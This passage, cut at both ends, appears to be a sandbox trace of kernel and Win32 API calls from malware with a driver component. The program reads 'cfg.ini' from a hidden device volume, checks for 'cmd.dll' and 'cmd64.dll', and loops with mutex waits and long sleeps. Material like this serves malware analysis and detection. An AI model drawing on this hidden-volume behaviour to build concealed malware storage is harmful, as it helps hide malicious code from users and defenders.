(in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.757] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.757] IdePortDispatch () returned 0x103 [0118.757] KeWaitForMutexObject () returned 0x0 [0118.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.757] KeLeaveCriticalRegion () [0118.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.757] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.757] KeEnterCriticalRegion () [0118.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1f000 [0118.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.758] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.758] IdePortDispatch () returned 0x103 [0118.758] KeWaitForMutexObject () returned 0x0 [0118.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.758] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.758] IdePortDispatch () returned 0x103 [0118.758] KeWaitForMutexObject () returned 0x0 [0118.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.758] KeLeaveCriticalRegion () [0118.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.759] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.759] KeEnterCriticalRegion () [0118.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.759] KeLeaveCriticalRegion () [0118.759] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.759] KeEnterCriticalRegion () [0118.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.759] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc180, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.759] KeLeaveCriticalRegion () [0118.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.759] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.759] KeEnterCriticalRegion () [0118.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.760] ExFreePoolWithTag (P=0xfffffa8003af8620, Tag=0x0) [0118.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.760] KeLeaveCriticalRegion () [0118.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.760] ReleaseMutex (hMutex=0xf0) returned 1 [0118.760] Sleep (dwMilliseconds=0x124f80) [0118.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.779] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.779] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.779] KeEnterCriticalRegion () [0118.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.779] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.779] IdePortDispatch () returned 0x103 [0118.779] KeWaitForMutexObject () returned 0x0 [0118.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.779] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.779] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.779] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.779] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.779] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcedb0 [0118.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.779] KeLeaveCriticalRegion () [0118.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.780] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.780] KeEnterCriticalRegion () [0118.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.780] KeLeaveCriticalRegion () [0118.780] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.780] KeEnterCriticalRegion () [0118.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.780] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.780] IdePortDispatch () returned 0x103 [0118.780] KeWaitForMutexObject () returned 0x0 [0118.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.780] KeLeaveCriticalRegion () [0118.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.780] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.780] KeEnterCriticalRegion () [0118.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c24000 [0118.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.781] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.781] IdePortDispatch () returned 0x103 [0118.781] KeWaitForMutexObject () returned 0x0 [0118.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.781] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.781] IdePortDispatch () returned 0x103 [0118.781] KeWaitForMutexObject () returned 0x0 [0118.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.781] KeLeaveCriticalRegion () [0118.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.782] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.782] KeEnterCriticalRegion () [0118.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.782] KeLeaveCriticalRegion () [0118.782] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.782] KeEnterCriticalRegion () [0118.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.782] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.782] KeLeaveCriticalRegion () [0118.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.782] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.783] KeEnterCriticalRegion () [0118.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.783] ExFreePoolWithTag (P=0xfffffa8003bcedb0, Tag=0x0) [0118.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.783] KeLeaveCriticalRegion () [0118.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.783] ReleaseMutex (hMutex=0xf0) returned 1 [0118.783] Sleep (dwMilliseconds=0x124f80) [0118.803] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.803] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.803] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.803] KeEnterCriticalRegion () [0118.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.803] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.803] IdePortDispatch () returned 0x103 [0118.804] KeWaitForMutexObject () returned 0x0 [0118.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.804] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.804] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.804] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.804] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.804] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9060 [0118.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.804] KeLeaveCriticalRegion () [0118.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.804] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.804] KeEnterCriticalRegion () [0118.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.804] KeLeaveCriticalRegion () [0118.804] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.804] KeEnterCriticalRegion () [0118.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.804] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.804] IdePortDispatch () returned 0x103 [0118.805] KeWaitForMutexObject () returned 0x0 [0118.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.805] KeLeaveCriticalRegion () [0118.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.805] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.805] KeEnterCriticalRegion () [0118.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c29000 [0118.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.805] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.805] IdePortDispatch () returned 0x103 [0118.805] KeWaitForMutexObject () returned 0x0 [0118.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.805] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.805] IdePortDispatch () returned 0x103 [0118.806] KeWaitForMutexObject () returned 0x0 [0118.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.806] KeLeaveCriticalRegion () [0118.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.806] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.806] KeEnterCriticalRegion () [0118.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.806] KeLeaveCriticalRegion () [0118.807] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.807] KeEnterCriticalRegion () [0118.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.807] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.807] KeLeaveCriticalRegion () [0118.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.807] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.807] KeEnterCriticalRegion () [0118.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.807] ExFreePoolWithTag (P=0xfffffa80039d9060, Tag=0x0) [0118.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.807] KeLeaveCriticalRegion () [0118.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.807] ReleaseMutex (hMutex=0xf0) returned 1 [0118.807] Sleep (dwMilliseconds=0x124f80) [0118.826] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.826] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.826] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.826] KeEnterCriticalRegion () [0118.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.826] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.827] IdePortDispatch () returned 0x103 [0118.827] KeWaitForMutexObject () returned 0x0 [0118.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.827] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.827] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.827] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.827] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.827] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce190 [0118.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.827] KeLeaveCriticalRegion () [0118.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.827] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.827] KeEnterCriticalRegion () [0118.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.827] KeLeaveCriticalRegion () [0118.827] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.827] KeEnterCriticalRegion () [0118.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.827] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.827] IdePortDispatch () returned 0x103 [0118.828] KeWaitForMutexObject () returned 0x0 [0118.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.828] KeLeaveCriticalRegion () [0118.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.828] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.828] KeEnterCriticalRegion () [0118.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2e000 [0118.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.828] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.828] IdePortDispatch () returned 0x103 [0118.828] KeWaitForMutexObject () returned 0x0 [0118.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.829] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.829] IdePortDispatch () returned 0x103 [0118.829] KeWaitForMutexObject () returned 0x0 [0118.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.829] KeLeaveCriticalRegion () [0118.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, 